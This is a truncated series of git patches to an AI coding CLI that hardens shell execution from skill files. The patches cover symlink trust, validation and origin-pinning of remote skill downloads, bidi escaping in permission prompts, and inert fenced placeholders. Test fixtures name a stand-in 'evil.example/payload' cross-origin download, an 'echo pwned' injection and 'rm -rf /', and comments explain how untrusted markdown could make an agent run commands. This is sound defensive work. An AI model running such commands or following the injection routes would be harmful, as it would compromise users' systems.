aa843ccbbc..75eb76f2ba 100644 --- a/packages/opencode/test/cli/run/permission.shared.test.ts +++ b/packages/opencode/test/cli/run/permission.shared.test.ts @@ -6,6 +6,7 @@ import { permissionCancel, permissionEscape, permissionInfo, + permissionOptions, // kilocode_change permissionReject, permissionRun, } from "@/cli/cmd/run/permission.shared" @@ -29,6 +30,7 @@ describe("run permission shared", () => { expect(out.reply).toEqual({ requestID: "perm-1", reply: "once", + interactive: true, // kilocode_change }) }) @@ -41,6 +43,7 @@ describe("run permission shared", () => { expect(permissionRun(next.state, "perm-1", "confirm").reply).toEqual({ requestID: "perm-1", reply: "always", + interactive: true, // kilocode_change }) expect(permissionRun(next.state, "perm-1", "cancel").state).toMatchObject({ @@ -57,6 +60,7 @@ describe("run permission shared", () => { expect(out).toEqual({ requestID: "perm-1", reply: "reject", + interactive: true, // kilocode_change message: "use rg", }) @@ -130,6 +134,13 @@ describe("run permission shared", () => { }) }) + // kilocode_change start - skill-shell options + test("skill shell offers only Allow / Reject (never Allow always)", () => { + expect(permissionOptions("permission", true)).toEqual(["once", "reject"]) + expect(permissionOptions("permission")).toEqual(["once", "always", "reject"]) + }) + // kilocode_change end + test("formats always-allow copy for wildcard and explicit patterns", () => { expect(permissionAlwaysLines(req({ permission: "bash", always: ["*"] }))).toEqual([ "This will allow bash until Kilo is restarted.", From 70f6271a23ed9462979c735270cb68047be8ff1d Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 16:18:31 +0200 Subject: [PATCH 050/100] fix(cli): drop trust for skills symlinked into the project --- packages/opencode/src/kilocode/skill/trust.ts | 28 +++++++++++++++++ packages/opencode/src/skill/index.ts | 22 +++++++++----- .../test/kilocode/skills/inject.test.ts | 30 +++++++++++++++++++ 3 files changed, 73 insertions(+), 7 deletions(-) create mode 100644 packages/opencode/src/kilocode/skill/trust.ts diff --git a/packages/opencode/src/kilocode/skill/trust.ts b/packages/opencode/src/kilocode/skill/trust.ts new file mode 100644 index 0000000000..fbafa6e6a9 --- /dev/null +++ b/packages/opencode/src/kilocode/skill/trust.ts @@ -0,0 +1,28 @@ +import { realpathSync } from "fs" +import path from "path" + +// A skill discovered under a trusted directory (~/.agents, ~/.claude, config dirs, +// KILO_CONFIG_DIR) mints trust: shell execution after one approval, and unconfined +// {env:}/{file:} substitution. Symlinks are followed during the scan, so a link from a +// trusted dir into the current project (a commonly suggested convenience) would otherwise +// grant project-controlled markdown that trust. Resolve the real path and drop trust when +// it lands inside the project, so project content is never trusted regardless of symlinks. +export function trustedInProject(match: string, projectRoot: string | undefined): boolean { + if (!projectRoot) return false + const real = (() => { + try { + return realpathSync.native(match) + } catch { + return match + } + })() + const root = (() => { + try { + return realpathSync.native(projectRoot) + } catch { + return projectRoot + } + })() + const rel = path.relative(root, real) + return rel === "" || (!rel.startsWith("..") && !path.isAbsolute(rel)) +} diff --git a/packages/opencode/src/skill/index.ts b/packages/opencode/src/skill/index.ts index 1b5f4241cc..b74dfffbd9 100644 --- a/packages/opencode/src/skill/index.ts +++ b/packages/opencode/src/skill/index.ts @@ -20,6 +20,7 @@ import { primaryPaths } from "../kilocode/primary-worktree" // kilocode_change import { Git } from "@/git" // kilocode_change import { isRecord } from "@/util/record" import { Flag } from "@opencode-ai/core/flag/flag" // kilocode_change +import { trustedInProject } from "../kilocode/skill/trust" // kilocode_change const CLAUDE_EXTERNAL_DIR = ".claude" const AGENTS_EXTERNAL_DIR = ".agents" @@ -160,7 +161,7 @@ const scan = Effect.fnUntraced(function* ( state: ScanState, root: string, pattern: string, - opts?: { dot?: boolean; scope?: string; trusted?: boolean; root?: string; sourceRoot?: string }, // kilocode_change + opts?: { dot?: boolean; scope?: string; trusted?: boolean; root?: string; sourceRoot?: string; projectRoot?: string }, // kilocode_change ) { const matches = yield* Effect.tryPromise({ try: () => @@ -182,12 +183,14 @@ const scan = Effect.fnUntraced(function* ( ) for (const match of matches) { - // kilocode_change start + // kilocode_change start - a trusted match whose realpath resolves inside the project (e.g. a + // symlink from ~/.agents/skills into the repo) must not mint trust for project-controlled content + const trusted = (opts?.trusted ?? false) && !trustedInProject(match, opts?.projectRoot) state.matches.set(match, { path: match, - trusted: opts?.trusted ?? false, - root: opts?.root, - sourceRoot: opts?.sourceRoot, + trusted, + root: trusted ? opts?.root : (opts?.root ?? opts?.projectRoot), + sourceRoot: trusted ? opts?.sourceRoot : (opts?.sourceRoot ?? opts?.projectRoot), }) // kilocode_change end state.dirs.add(path.dirname(match)) @@ -215,7 +218,7 @@ const discoverSkills = Effect.fnUntraced(function* ( for (const dir of externalDirs) { const root = path.join(global.home, dir) if (!(yield* fsys.isDir(root))) continue - yield* scan(state, root, EXTERNAL_SKILL_PATTERN, { dot: true, scope: "global", trusted: true }) // kilocode_change + yield* scan(state, root, EXTERNAL_SKILL_PATTERN, { dot: true, scope: "global", trusted: true, projectRoot }) // kilocode_change } // kilocode_change start @@ -252,6 +255,7 @@ const discoverSkills = Effect.fnUntraced(function* ( trusted, root: trusted ? undefined : projectRoot, sourceRoot: trusted ? undefined : sourceRoot, + projectRoot, }) // kilocode_change end } @@ -268,7 +272,11 @@ const discoverSkills = Effect.fnUntraced(function* ( // kilocode_change start - trust follows the config source that declared the path, never the selected path. const origin = cfg.skill_path_origins?.[item] const trusted = origin?.trusted === true && path.isAbsolute(expanded) - yield* scan(state, dir, SKILL_PATTERN, { trusted, root: trusted ? undefined : (origin?.root ?? projectRoot) }) + yield* scan(state, dir, SKILL_PATTERN, { + trusted, + root: trusted ? undefined : (origin?.root ?? projectRoot), + projectRoot, + }) // kilocode_change end } diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index 32f3811d5c..309b84b4a6 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -197,6 +197,36 @@ describe("skill shell injection", () => { }), ) + unix("does not trust a global skill symlinked into the project", () => + Effect.gen(function* () { + const dir = (yield* TestInstance).directory + // A SKILL.md that lives in the project, symlinked into the trusted ~/.agents/skills dir + // (a suggested convenience), must not mint trust for project-controlled markdown. + const projectSkillDir = path.join(dir, "skills", "linked") + yield* Effect.promise(async () => { + await Bun.write( + path.join(projectSkillDir, "SKILL.md"), + "---\nname: linked\ndescription: linked test skill.\n---\n\nValue: !`printf shouldnotrun`\n", + ) + const linkDir = path.join(HOME, ".agents", "skills", "linked") + await fs.promises.mkdir(path.dirname(linkDir), { recursive: true }) + await fs.promises.symlink(projectSkillDir, linkDir, "dir") + }) + + const requests: Array> = [] + const result = yield* loadSkill("linked", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + // realpath is inside the project → treated as untrusted, no execution, no bash ask + expect(result.output).toContain("[skill shell execution disabled for untrusted skill]") + expect(result.output).not.toContain("shouldnotrun") + expect(requests.some((r) => r.permission === "bash")).toBe(false) + }), + ) + unix("does not re-execute shell placeholders emitted by command output", () => Effect.gen(function* () { // The command emits a literal placeholder `!echo pwned` From da328dfd8e9221b432f67f0b54828279f6a0fd5b Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 16:26:45 +0200 Subject: [PATCH 051/100] fix(cli): validate and origin-pin remote skill downloads --- packages/opencode/src/skill/discovery.ts | 105 ++++++++++++------ .../opencode/test/skill/discovery.test.ts | 13 +++ 2 files changed, 87 insertions(+), 31 deletions(-) diff --git a/packages/opencode/src/skill/discovery.ts b/packages/opencode/src/skill/discovery.ts index 24e78c14f8..f4e0c50d22 100644 --- a/packages/opencode/src/skill/discovery.ts +++ b/packages/opencode/src/skill/discovery.ts @@ -1,3 +1,4 @@ +import { posix, win32 } from "node:path" // kilocode_change - pure segment/path validation helpers import { LayerNode } from "@opencode-ai/core/effect/layer-node" import { httpClient, path } from "@opencode-ai/core/effect/layer-node-platform" import { NodePath } from "@effect/platform-node" @@ -10,6 +11,45 @@ import { Global } from "@opencode-ai/core/global" const skillConcurrency = 4 const fileConcurrency = 8 +// kilocode_change start - segment/relative-path validation mirrors core v2 SkillDiscovery so a remote +// index cannot smuggle traversal, absolute paths, URLs, or null bytes into a cache write target. +function isSafeSegment(value: string) { + return ( + value.length > 0 && value !== "." && value !== ".." && !value.includes("/") && !value.includes("\\") && !value.includes("\0") + ) +} + +function isSafeRelativePath(value: string) { + const segments = value.split("/") + return ( + value.length > 0 && + !value.includes("\\") && + !value.includes("\0") && + !value.includes("?") && + !value.includes("#") && + !URL.canParse(value) && + !posix.isAbsolute(value) && + !win32.isAbsolute(value) && + segments.every((segment) => { + try { + const decoded = decodeURIComponent(segment) + return ( + decoded.length > 0 && + decoded !== "." && + decoded !== ".." && + !decoded.includes("/") && + !decoded.includes("\\") && + !decoded.includes("\0") + ) + } catch { + return false + } + }) + ) +} + +// kilocode_change end + class IndexSkill extends Schema.Class("IndexSkill")({ name: Schema.String, files: Schema.Array(Schema.String), @@ -47,8 +87,8 @@ export const layer: Layer.Layer !skill.files.includes("SKILL.md")) - yield* Effect.forEach( - missing, - (skill) => Effect.logWarning("skill entry missing SKILL.md", { url: index, skill: skill.name }), - { discard: true }, - ) - const list = data.skills.filter((skill) => skill.files.includes("SKILL.md")) - - // kilocode_change start - remote index.json controls skill.name/file, so a crafted `../` could escape the - // cache and plant a SKILL.md in a trusted dir (e.g. ~/.agents/skills). Drop any skill whose paths escape it. - const rooted = (target: string) => { - const rel = path.relative(cache, target) + // kilocode_change start - the remote index controls skill.name and file, so validate every segment, + // pin file downloads to the index origin, and confine writes to the cache (mirrors core v2 SkillDiscovery) + const contained = (parent: string, child: string) => { + const rel = path.relative(parent, child) return rel !== "" && !rel.startsWith("..") && !path.isAbsolute(rel) } - const safe: typeof list = [] - for (const skill of list) { + const plan = (skill: IndexSkill) => { + if (!skill.files.includes("SKILL.md")) return "skill entry missing SKILL.md" + if (!isSafeSegment(skill.name)) return "skipping skill with unsafe name" const root = path.join(cache, skill.name) - if (rooted(root) && skill.files.every((file) => rooted(path.join(root, file)))) safe.push(skill) - else yield* Effect.logWarning("skipping skill with unsafe path", { url: index, skill: skill.name }) + if (!contained(cache, root)) return "skipping skill with unsafe name" + const skillUrl = new URL(`${encodeURIComponent(skill.name)}/`, source) + const files: { url: string; dest: string }[] = [] + for (const file of skill.files) { + if (!isSafeRelativePath(file)) return "skipping skill with unsafe file path" + const resource = URL.parse(file, skillUrl) ?? undefined + if (!resource || resource.origin !== source.origin) return "skipping skill with cross-origin file" + const dest = path.join(root, file) + if (!contained(root, dest)) return "skipping skill with unsafe file path" + files.push({ url: resource.href, dest }) + } + return { root, files } + } + + const planned: { root: string; files: { url: string; dest: string }[] }[] = [] + for (const skill of data.skills) { + const result = plan(skill) + if (typeof result === "string") yield* Effect.logWarning(result, { url: index, skill: skill.name }) + else planned.push(result) } // kilocode_change end const dirs = yield* Effect.forEach( - safe, // kilocode_change - was `list`; drop skills whose paths escape the cache + planned, // kilocode_change - validated, origin-pinned, cache-confined download plans (skill) => Effect.gen(function* () { - const root = path.join(cache, skill.name) - - yield* Effect.forEach( - skill.files, - (file) => download(new URL(file, `${host}/${skill.name}/`).href, path.join(root, file)), - { - concurrency: fileConcurrency, - }, - ) - - const md = path.join(root, "SKILL.md") - return (yield* fs.exists(md).pipe(Effect.orDie)) ? root : null + yield* Effect.forEach(skill.files, (file) => download(file.url, file.dest), { + concurrency: fileConcurrency, + }) + const md = path.join(skill.root, "SKILL.md") + return (yield* fs.exists(md).pipe(Effect.orDie)) ? skill.root : null }), { concurrency: skillConcurrency }, ) diff --git a/packages/opencode/test/skill/discovery.test.ts b/packages/opencode/test/skill/discovery.test.ts index ad1a53463f..f454a6b3a7 100644 --- a/packages/opencode/test/skill/discovery.test.ts +++ b/packages/opencode/test/skill/discovery.test.ts @@ -31,6 +31,10 @@ beforeAll(async () => { if (url.pathname.endsWith("/.agents/skills/evil/SKILL.md")) { return new Response("---\nname: evil\ndescription: evil.\n---\npwned") } + // A file entry pointing at another origin (exfil/arbitrary-host download) must be rejected. + if (url.pathname === "/cross-origin/index.json") { + return Response.json({ skills: [{ name: "x", files: ["SKILL.md", "https://evil.example/payload"] }] }) + } // kilocode_change end // route /.well-known/skills/* to the fixture directory @@ -135,6 +139,15 @@ describe("Discovery.pull", () => { expect(yield* fsys.existsSafe(escaped)).toBe(false) }), ) + + it.live("rejects a skill file that points at another origin", () => + Effect.gen(function* () { + const discovery = yield* Discovery.Service + // a file entry resolving to a different host must be dropped (no download, skill skipped) + const dirs = yield* discovery.pull(`http://localhost:${server.port}/cross-origin/`) + expect(dirs).toEqual([]) + }), + ) // kilocode_change end it.live("caches downloaded files on second pull", () => From dbcd5825da6a3253015f6c38e55a7faf5d1715b8 Mon Sep 17 00:00:00 2001 From: Marius Date: Wed, 29 Jul 2026 16:29:45 +0200 Subject: [PATCH 052/100] fix(agent-manager): keep terminal cursor visible (#12658) --- .changeset/calm-cursors-fit.md | 5 +++++ .../unit/agent-manager-terminal-layout.test.ts | 15 +++++++++++++++ .../webview-ui/agent-manager/agent-manager.css | 7 ++++--- 3 files changed, 24 insertions(+), 3 deletions(-) create mode 100644 .changeset/calm-cursors-fit.md create mode 100644 packages/kilo-vscode/tests/unit/agent-manager-terminal-layout.test.ts diff --git a/.changeset/calm-cursors-fit.md b/.changeset/calm-cursors-fit.md new file mode 100644 index 0000000000..d35d8ee2d1 --- /dev/null +++ b/.changeset/calm-cursors-fit.md @@ -0,0 +1,5 @@ +--- +"kilo-code": patch +--- + +Keep the Agent Manager terminal cursor visible on the bottom row. diff --git a/packages/kilo-vscode/tests/unit/agent-manager-terminal-layout.test.ts b/packages/kilo-vscode/tests/unit/agent-manager-terminal-layout.test.ts new file mode 100644 index 0000000000..f30ba800e5 --- /dev/null +++ b/packages/kilo-vscode/tests/unit/agent-manager-terminal-layout.test.ts @@ -0,0 +1,15 @@ +import { expect, test } from "bun:test" +import { readFileSync } from "node:fs" +import { resolve } from "node:path" + +const css = readFileSync(resolve(import.meta.dir, "../../webview-ui/agent-manager/agent-manager.css"), "utf8") + +test("xterm owns the padding used by FitAddon", () => { + const host = css.match(/\.am-terminal-host\s*\{([^}]*)\}/)?.[1] + const term = css.match(/\.am-terminal-host \[class~="xterm"\]\s*\{([^}]*)\}/)?.[1] + + expect(host).toBeDefined() + expect(term).toBeDefined() + expect(host).not.toMatch(/\bpadding\s*:/) + expect(term).toMatch(/\bpadding\s*:\s*8px\s*;/) +}) diff --git a/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css b/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css index 0cf28616bf..6fe20d7175 100644 --- a/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css +++ b/packages/kilo-vscode/webview-ui/agent-manager/agent-manager.css @@ -4687,14 +4687,15 @@ body.vscode-high-contrast-light { flex: 1; min-height: 0; min-width: 0; - padding: 8px; background: var(--vscode-terminal-background, #1e1e1e); } /* Third-party xterm classes — addressed by attribute selector so the - agent-manager "am-* prefix" architecture test does not flag them. */ -.am-terminal-host [class="xterm"] { + agent-manager "am-* prefix" architecture test does not flag them. + FitAddon subtracts padding from xterm itself, not its parent host. */ +.am-terminal-host [class~="xterm"] { height: 100%; + padding: 8px; } .am-terminal-host [class~="xterm-viewport"] { From 8205f353f372a0397e5027fcc98a9ce0eff805ee Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 16:44:37 +0200 Subject: [PATCH 053/100] fix(cli): tighten skill shell execution and prompt-display bounds --- .../opencode/src/kilocode/skills/display.ts | 14 ++- .../opencode/src/kilocode/skills/inject.ts | 103 +++++++++++++----- .../test/kilocode/skills/display.test.ts | 7 ++ .../test/kilocode/skills/inject.test.ts | 45 ++++++++ 4 files changed, 135 insertions(+), 34 deletions(-) diff --git a/packages/opencode/src/kilocode/skills/display.ts b/packages/opencode/src/kilocode/skills/display.ts index 93e8ac44f2..199315ff40 100644 --- a/packages/opencode/src/kilocode/skills/display.ts +++ b/packages/opencode/src/kilocode/skills/display.ts @@ -1,11 +1,15 @@ -// Render a skill command for a permission prompt as a single, tamper-evident -// line: escape control chars (CR/LF/ESC/etc.) so a command can't repaint the -// terminal to make the visible text differ from what will execute. +// Render a skill command for a permission prompt as a single, tamper-evident line. +// Escape control chars (CR/LF/ESC/etc.) so a command can't repaint the terminal, and +// bidi/format controls (U+202A-202E, U+2066-2069, U+200E/F, U+2028/9) so a Trojan-Source +// style reorder can't make the visible text differ from what will execute. +const CONTROL = /[\u0000-\u001f\u007f-\u009f\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]/g + export function displayCommand(command: string) { - return command.replace(/[\u0000-\u001f\u007f-\u009f]/g, (ch) => { + return command.replace(CONTROL, (ch) => { if (ch === "\n") return "\\n" if (ch === "\r") return "\\r" if (ch === "\t") return "\\t" - return "\\x" + ch.charCodeAt(0).toString(16).padStart(2, "0") + const code = ch.charCodeAt(0) + return code <= 0xff ? "\\x" + code.toString(16).padStart(2, "0") : "\\u" + code.toString(16).padStart(4, "0") }) } diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index b13f5442db..b3f77d1532 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -29,9 +29,11 @@ const UNTRUSTED_NOTE = "[skill shell execution disabled for untrusted skill]" // Execution bounds: model-initiated commands must not hang the load, blow up // context, or overrun the batch. -const TIMEOUT_MS = 2 * 60 * 1000 +const TIMEOUT_MS = 2 * 60 * 1000 // per-command +const BUDGET_MS = 5 * 60 * 1000 // aggregate across the batch const MAX_OUTPUT_BYTES = 32 * 1024 const MAX_COMMANDS = 32 +const LIMIT_NOTE = "[skill shell command limit reached]" export namespace SkillInject { export type Decompose = (input: { @@ -52,12 +54,16 @@ export namespace SkillInject { } export const render = Effect.fn("SkillInject.render")(function* (opts: Options) { - const matches = ConfigMarkdown.shell(opts.content) - if (matches.length === 0) return opts.content + // Placeholders inside fenced code blocks are documentation examples, not live commands. + const fenced = fences(opts.content) + const live = ConfigMarkdown.shell(opts.content).filter((m) => !fenced(m.index)) + if (live.length === 0) return opts.content - // Defense-in-depth ordering: policy checks first, approval gate last. - if (opts.disabled) return replace(opts.content, () => DISABLED_NOTE) - if (!opts.trusted) return replace(opts.content, () => UNTRUSTED_NOTE) + // Defense-in-depth ordering: policy checks first, approval gate last. `replace` only + // rewrites live (unfenced) placeholders; fenced ones stay as literal text. + const replace = (value: (command: string) => string) => rewrite(opts.content, fenced, value) + if (opts.disabled) return replace(() => DISABLED_NOTE) + if (!opts.trusted) return replace(() => UNTRUSTED_NOTE) // `shell` is resolved by the caller via Shell.acceptable(cfg.shell), which // rejects shells the tree-sitter bash scanner can't parse (fish/nu), keeping @@ -65,7 +71,7 @@ export namespace SkillInject { const shell = opts.shell // Deduplicate identical commands, then cap the batch so a skill can't queue // an unbounded number of processes. - const commands = Array.from(new Set(matches.map(([, cmd]) => cmd))).slice(0, MAX_COMMANDS) + const commands = Array.from(new Set(live.map(([, cmd]) => cmd))).slice(0, MAX_COMMANDS) // Decompose each command into sub-command patterns + out-of-project dir globs // via the shared bash scan, so plan-mode denies and external_directory checks @@ -111,41 +117,80 @@ export namespace SkillInject { metadata, }) - // Run each command in the instance directory, bounded by ctx.abort (ESC) and a - // timeout, with output truncated so it can't blow up or poison the prompt. + // Run each command in the instance directory, bounded per-command by ctx.abort (ESC) + // and a timeout, and across the batch by an aggregate wall-clock budget, with output + // truncated so it can't blow up or poison the prompt. const outputs = new Map() + const deadline = Date.now() + BUDGET_MS for (const command of commands) { + if (Date.now() >= deadline) { + outputs.set(command, "[skill shell batch time budget exceeded]") + continue + } outputs.set(command, yield* run(command, shell, opts.cwd, opts.ctx.abort)) } - return replace(opts.content, (command) => outputs.get(command) ?? "") + // A placeholder that was capped out of `commands` isn't in `outputs`; mark it rather + // than silently inlining an empty string. + return replace((command) => outputs.get(command) ?? LIMIT_NOTE) }) const run = Effect.fn("SkillInject.run")(function* (command: string, shell: string, cwd: string, abort: AbortSignal) { - const result = yield* Effect.promise(async () => { - // A cleared timer bounds the run without leaking a pending 2-minute timeout - // per command; ESC (ctx.abort) still kills the child via the same signal. - const controller = new AbortController() - const signal = AbortSignal.any([abort, controller.signal]) - const timer = setTimeout(() => controller.abort(), TIMEOUT_MS) - try { - return await Process.text([command], { shell, cwd, abort: signal, nothrow: true }).catch(() => undefined) - } finally { - clearTimeout(timer) - } - }) - if (!result) return abort.aborted ? "[skill shell command aborted]" : "[skill shell command timed out]" + const timeout = new AbortController() + // A cleared timer bounds the run without leaking a pending 2-minute timeout per command; + // ESC (ctx.abort) still kills the child via the same combined signal. + const signal = AbortSignal.any([abort, timeout.signal]) + const timer = setTimeout(() => timeout.abort(), TIMEOUT_MS) + const result = yield* Effect.promise(() => + Process.text([command], { shell, cwd, abort: signal, nothrow: true }).catch(() => undefined), + ).pipe(Effect.ensuring(Effect.sync(() => clearTimeout(timer)))) + + // With nothrow the promise resolves even when the child was killed, inlining partial + // stdout; detect the kill via the signals so an aborted/timed-out command is marked. + if (abort.aborted) return "[skill shell command aborted]" + if (timeout.signal.aborted) return "[skill shell command timed out]" + if (!result) return "[skill shell command failed]" + // A failing command with empty stdout would inline ""; surface a marker with any stderr. + if (result.code !== 0 && result.text.length === 0) { + const err = result.stderr.toString().trim() + return err ? "[skill shell command failed]\n" + truncate(err) : "[skill shell command failed]" + } return truncate(result.text) }) + // Byte-accurate truncation: slice on a Buffer so a multibyte tail can't exceed the cap. function truncate(text: string) { - if (Buffer.byteLength(text) <= MAX_OUTPUT_BYTES) return text - return text.slice(0, MAX_OUTPUT_BYTES) + "\n[skill shell output truncated]" + const buf = Buffer.from(text) + if (buf.byteLength <= MAX_OUTPUT_BYTES) return text + return buf.toString("utf8", 0, MAX_OUTPUT_BYTES) + "\n[skill shell output truncated]" } - // Replace only the exact matches found in the ORIGINAL content. Never re-scan - // the result, so inlined output containing `!`cmd`` stays inert. - function replace(content: string, value: (command: string) => string) { - return content.replace(ConfigMarkdown.SHELL_REGEX, (_, command: string) => value(command)) + // Rewrite only live (unfenced) placeholders in the ORIGINAL content, substituting once and + // never re-scanning the result, so inlined output containing `!`cmd`` stays inert and a + // fenced documentation example is left as literal text. + function rewrite(content: string, fenced: (index: number) => boolean, value: (command: string) => string) { + return content.replace(ConfigMarkdown.SHELL_REGEX, (match, command: string, index: number) => + fenced(index) ? match : value(command), + ) + } + + // Return a predicate that reports whether a character offset falls inside a fenced code + // block (``` or ~~~), so placeholders in documentation examples are treated as inert. + function fences(content: string): (index: number) => boolean { + const ranges: Array<[number, number]> = [] + const fence = /^[ \t]*(`{3,}|~{3,})[^\n]*$/gm + let open: { start: number; marker: string } | undefined + for (const m of content.matchAll(fence)) { + const marker = m[1] + // CommonMark: a closing fence uses the same char and is at least as long as the opener, + // so an inner shorter/different fence stays content. Keep the real opener length. + if (!open) open = { start: m.index, marker } + else if (marker[0] === open.marker[0] && marker.length >= open.marker.length) { + ranges.push([open.start, m.index + m[0].length]) + open = undefined + } + } + if (open) ranges.push([open.start, content.length]) // unterminated fence runs to EOF + return (index: number) => ranges.some(([s, e]) => index >= s && index < e) } } diff --git a/packages/opencode/test/kilocode/skills/display.test.ts b/packages/opencode/test/kilocode/skills/display.test.ts index b7780e5138..3cdcb49afc 100644 --- a/packages/opencode/test/kilocode/skills/display.test.ts +++ b/packages/opencode/test/kilocode/skills/display.test.ts @@ -9,6 +9,13 @@ describe("displayCommand", () => { expect(out).not.toMatch(/[\u0000-\u001f]/) }) + it("escapes bidi/format controls so Trojan-Source reordering can't hide intent", () => { + // RLO (U+202E) + PDI (U+2069) would visually reorder the command in the prompt + const out = displayCommand("echo \u202esafe\u2069 rm -rf /") + expect(out).toBe("echo \\u202esafe\\u2069 rm -rf /") + expect(out).not.toMatch(/[\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]/) + }) + it("leaves ordinary commands unchanged", () => { expect(displayCommand("git status --short")).toBe("git status --short") }) diff --git a/packages/opencode/test/kilocode/skills/inject.test.ts b/packages/opencode/test/kilocode/skills/inject.test.ts index 309b84b4a6..1684695294 100644 --- a/packages/opencode/test/kilocode/skills/inject.test.ts +++ b/packages/opencode/test/kilocode/skills/inject.test.ts @@ -227,6 +227,51 @@ describe("skill shell injection", () => { }), ) + unix("does not execute placeholders inside fenced code blocks", () => + Effect.gen(function* () { + // The fenced placeholder is a documentation example and must stay literal; only the + // live one runs. + yield* writeGlobalSkill("fenced-shell", "Live: !`printf LIVE`\n\n```\nExample: !`printf FENCED`\n```\n") + + const requests: Array> = [] + const result = yield* loadSkill("fenced-shell", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + expect(result.output).toContain("Live: LIVE") + // the fenced example is left verbatim, not executed + expect(result.output).toContain("Example: !`printf FENCED`") + expect(result.output).not.toContain("Example: FENCED") + // only the live command is authorized + const bash = requests.filter((r) => r.permission === "bash") + expect(bash[0]?.patterns).toEqual(["printf LIVE"]) + }), + ) + + unix("treats a placeholder inside a nested (```` wrapping ```) fence as inert", () => + Effect.gen(function* () { + // The common "wrap a ``` example in a ```` fence" pattern must not execute the inner + // example; a shorter inner fence does not close the longer outer one. + const body = "Live: !`printf LIVE`\n\n````md\n```bash\nExample: !`printf FENCED`\n```\n````\n" + yield* writeGlobalSkill("nested-fence", body) + + const requests: Array> = [] + const result = yield* loadSkill("nested-fence", (req) => + Effect.sync(() => { + requests.push(req) + }), + ) + + expect(result.output).toContain("Live: LIVE") + expect(result.output).toContain("!`printf FENCED`") + expect(result.output).not.toContain("Example: FENCED") + const bash = requests.filter((r) => r.permission === "bash") + expect(bash[0]?.patterns).toEqual(["printf LIVE"]) + }), + ) + unix("does not re-execute shell placeholders emitted by command output", () => Effect.gen(function* () { // The command emits a literal placeholder `!echo pwned` From 6e46b809bf7fe356a8eb399bfba439850686ea47 Mon Sep 17 00:00:00 2001 From: Bruno Agatao Date: Wed, 29 Jul 2026 16:53:31 +0200 Subject: [PATCH 054/100] fix(cli): honor the kill-switch for skill slash-command shell --- .changeset/skill-shell-execution.md | 2 +- packages/opencode/src/kilocode/skills/display.ts | 5 +++++ packages/opencode/src/kilocode/skills/inject.ts | 12 +++++++----- packages/opencode/src/session/prompt.ts | 12 ++++++++---- 4 files changed, 21 insertions(+), 10 deletions(-) diff --git a/.changeset/skill-shell-execution.md b/.changeset/skill-shell-execution.md index bbe09cf70d..8689613673 100644 --- a/.changeset/skill-shell-execution.md +++ b/.changeset/skill-shell-execution.md @@ -2,4 +2,4 @@ "@kilocode/cli": minor --- -Support executing shell commands embedded in skill files. Commands written as `` !`command` `` in a SKILL.md run when the skill loads and their output is inlined into the skill, gated by a single up-front approval that lists every command. Only trusted skills can run commands, and `KILO_DISABLE_SKILL_SHELL` disables the behavior. +Support executing shell commands embedded in skill files. Commands written as `` !`command` `` in a SKILL.md run and their output is inlined into the skill. Only trusted skills can run commands and `KILO_DISABLE_SKILL_SHELL` disables the behavior; when the model loads a skill, the commands are shown in a single up-front approval before running. diff --git a/packages/opencode/src/kilocode/skills/display.ts b/packages/opencode/src/kilocode/skills/display.ts index 199315ff40..d5182e73d0 100644 --- a/packages/opencode/src/kilocode/skills/display.ts +++ b/packages/opencode/src/kilocode/skills/display.ts @@ -1,3 +1,8 @@ +// Markers inlined in place of a `!`cmd`` placeholder when it is not executed. Shared by the +// skill tool (inject.ts) and the slash-command path (session/prompt.ts) so both render identically. +export const SKILL_SHELL_DISABLED = "[skill shell execution disabled by policy]" +export const SKILL_SHELL_UNTRUSTED = "[skill shell execution disabled for untrusted skill]" + // Render a skill command for a permission prompt as a single, tamper-evident line. // Escape control chars (CR/LF/ESC/etc.) so a command can't repaint the terminal, and // bidi/format controls (U+202A-202E, U+2066-2069, U+200E/F, U+2028/9) so a Trojan-Source diff --git a/packages/opencode/src/kilocode/skills/inject.ts b/packages/opencode/src/kilocode/skills/inject.ts index b3f77d1532..07f45863cf 100644 --- a/packages/opencode/src/kilocode/skills/inject.ts +++ b/packages/opencode/src/kilocode/skills/inject.ts @@ -1,6 +1,7 @@ import { Effect } from "effect" import { ConfigMarkdown } from "@/config/markdown" import { Process } from "@/util/process" +import { SKILL_SHELL_DISABLED, SKILL_SHELL_UNTRUSTED } from "@/kilocode/skills/display" import type * as Tool from "@/tool/tool" // Shell injection for skill bodies mirrors Claude's "dynamic context injection": @@ -20,13 +21,14 @@ import type * as Tool from "@/tool/tool" // of any allow/auto-approve rule; a deny rule or plan-mode veto on any // sub-command still blocks. Approve runs the batch; reject aborts the load. // +// Trust and the kill-switch also gate the slash-command path (`/skill`, session/prompt.ts), +// which is user-initiated. Batch approval (control 3) is specific to this model-initiated +// tool path — the slash-command path is not prompted because the user invoked it directly. +// // Substitution runs exactly once. Command output is inlined as plain text and is // never re-scanned, so a command cannot emit a `!`cmd`` placeholder that a later // pass would execute (second-order injection). -const DISABLED_NOTE = "[skill shell execution disabled by policy]" -const UNTRUSTED_NOTE = "[skill shell execution disabled for untrusted skill]" - // Execution bounds: model-initiated commands must not hang the load, blow up // context, or overrun the batch. const TIMEOUT_MS = 2 * 60 * 1000 // per-command @@ -62,8 +64,8 @@ export namespace SkillInject { // Defense-in-depth ordering: policy checks first, approval gate last. `replace` only // rewrites live (unfenced) placeholders; fenced ones stay as literal text. const replace = (value: (command: string) => string) => rewrite(opts.content, fenced, value) - if (opts.disabled) return replace(() => DISABLED_NOTE) - if (!opts.trusted) return replace(() => UNTRUSTED_NOTE) + if (opts.disabled) return replace(() => SKILL_SHELL_DISABLED) + if (!opts.trusted) return replace(() => 